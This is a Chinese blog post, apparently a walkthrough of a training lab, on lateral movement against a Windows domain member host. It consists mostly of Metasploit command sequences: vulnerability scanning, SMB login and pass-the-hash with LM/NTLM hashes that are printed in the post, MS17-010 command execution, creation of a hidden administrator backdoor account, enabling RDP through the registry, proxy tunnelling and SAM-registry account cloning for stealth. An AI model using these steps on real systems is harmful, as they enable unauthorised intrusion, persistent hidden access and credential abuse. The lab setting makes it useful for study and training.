内网横向渗透 之 ATT&CK系列一 之 横向渗透域主机
前言
上一篇文章中已获取了关于域的一些基本信息,在这里再整理一下,不知道信息收集的小伙伴可以看回上一篇文章哦
域:god.org
域控 windows server 2008:OWA,192.168.52.138
域主机 windows server 2003:ROOT-TVI862UBEH,192.168.52.141
win7内网ip:192.168.52.143
win7 username : Administrator domain : GOD password : hongrisec@2022(因为登陆域控机win2008的时候会要求改密码,我这个改成hongrisec@2022)
LM:edea194d76c77d87923b4276177762ae;NTLM:8c535a2d84c3b21059d667639bb89db5
横向渗透
通过win7的nmap对域成员进行漏洞端口扫描,使用 where nmap 可以得到nmap的安装路径
nmap.exe --script=vuln 192.168.52.141
存在ms08-067(CVE-2008-4250)、ms17-010(CVE-2017-0143)
配置路由信息
1 meterpreter > run autoroute -s 192.168.52.0/255.255.255.0
使用 scanner/smb/smb_login 验证SMB登录
use scanner/smb/smb_login set RHOSTS 192.168.52.141 set SMBPass hongrisec@2022 set SMBUSER Administrator set SMBDomain GOD run
说明win7的账号密码对域成员也有效
至此,域成员存在漏洞,且知道用户名、密码、域,使用漏洞进行渗透获取域内使用权限
因为是内网windows系统,这里我选择用哈希传递攻击,使用的模块是 exploit/windows/smb/psexec
use exploit/windows/smb/psexec
set payload windows/shell/bind_tcp set RHOSTS 192.168.52.141 set SMBDomain god set SMBUser Administrator set SMBPass edea194d76c77d87923b4276177762ae:8c535a2d84c3b21059d667639bb89db5 # 这里是用哈希密码传递,冒号前面的是LM哈希值,冒号后面的是NTLM哈希值 run
查看权限 whoami
可以看到,是管理员的最高权限,这里就不需要提权了,至此,域主机已被攻破!
拿下域成员的第二种姿势
配置路由信息
1 meterpreter > run autoroute -s 192.168.52.0/255.255.255.0
使用auxiliary/scanner/portscan/tcp模块进行域成员的端口扫描
1 use auxiliary/scanner/portscan/tcp 2 set rhosts 192.168.52.141 3 set ports 445 4 run
扫描445端口是否开启
说明445端口开启,使用ms17-010永恒之蓝模块
1 use auxiliary/scanner/smb/smb_ms17_010 2 set rhosts 192.168.52.141 3 run
扫描是否存在永恒之蓝漏洞
证明存在永恒之蓝漏洞,由于模块exploit/windows/smb/ms17_010_eternalblue 只支持x64,而我们的内网域成员系统是x86,故不能使用该模块
我们选择命令行执行模块auxiliary/admin/smb/ms17_010_command,创建新用户并进行远程登录。
1 use auxiliary/admin/smb/ms17_010_command
1 创建用户 2 set command 'net user spmonkey$ spmonkey@123 /add' # 带$代表创建隐藏用户,为的是不让目标发现咱们 3 set rhosts 192.168.52.141 4 run
可以看到,创建成功了,提升权限至管理员组,在这个基础上直接运行下面命令
1 提升权限 2 set command net localgroup administrators spmonkey$ /add 3 run
可以看到,命令执行成功了。
使用windows命令net user可以看到所有用户:
发现并没有刚才咱们创建的用户,是真的没有吗?不,因为我们创建的是隐藏用户,所以命令行命令是无法看到咱们刚才创建的新用户的,可以使用远程登录看一下是否创建成功。
1 开启远程桌面服务 2 set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' 3 run
启动成功,搭建代理隧道:
1 use auxiliary/server/socks_proxy 2 set srvhost 192.168.200.128 3 run

vim /etc/proxychains.conf 添加如下内容: socks5 192.168.200.128 1080
通过命令远程登录桌面:proxychains rdesktop 192.168.52.141
成功进入系统。
虽然我们在使用 net user 命令时没有看到我们的账号,但是在计算机管理依旧可以看到我们的账号。
所以我们需要进一步隐藏用户。
注册表隐藏法:
一、给管理员注册表权限
1、开始 -> 运行
2、输入 regedt32.exe 回车,进入注册表
3、依次点击 HKEY_LOCAL_MACHINE\SAM\SAM 后右键,选择 Permissions
4、选择 administrators 账户,勾选 Full Control 最后点击应用 + 确定
重新打开注册表后就可以看到SAM下的其他目录了。
二、将隐藏账户替换成管理员
1、依次点击 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
2、选择咱们的隐藏用户 "spmonkey$",在右边显示的键值中的"类型"一项显示为 0x3f2,向上来到 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\ 处,可以找到 000003F2 这一项,这两者是相互对应的,隐藏账户 "spmonkey$" 的所有信息都在"000003F2"这一项中。同样的,我们可以找到"administrator"账户所对应的项为"000001F4"。
3、将 "spmonkey$" 的键值导出为spmonkey$.reg,同时将"000003F2"和"000001F4"项的F键值分别导出为user.reg,admin.reg。
4、用"记事本"打开admin.reg,将其中"F"值后面的内容复制下来,替换user.reg中的"F"值内容,完成后保存。接下来进入"命令提示符",输入"net user piao$ /del"将我们建立的隐藏账户删除。最后,将piao$.reg和user.reg导入注册表,至此,隐藏账户制作完成。
三、取消管理员注册表的权限
这里和第一个操作一样,取消 Full Control 的勾选就可以了
尾声
至此隐藏用户就生成好了。这里所涉及到的知识点比较多,各位读者不懂的可以联系作者QQ:1015468607 备注好自己的来意喔!
彩蛋
域主机 windows server 2003 存在ms17-010漏洞,可以通过ms17-010漏洞进行攻击
注:msfconsole中的ms17_010_eternalblue模块仅支持x64,而咱们的目标域主机是x86的,所以这里不适用
使用模块 ms17_010_psexec 进行攻击,这里选择这个模块的原因:在域内,且存在ms17-010漏洞
use exploit/windows/smb/ms17_010_psexec set RHOSTS 192.168.52.141 set SMBDomain GOD set SMBPass edea194d76c77d87923b4276177762ae:8c535a2d84c3b21059d667639bb89db5 set SMBUser Administrator run
域主机蓝屏
msfconsole报错
至此攻击成功,没有反弹shell,因为目标域主机已蓝屏!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· C#/.NET/.NET Core技术前沿周刊 | 第 29 期(2025年3.1-3.9)
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异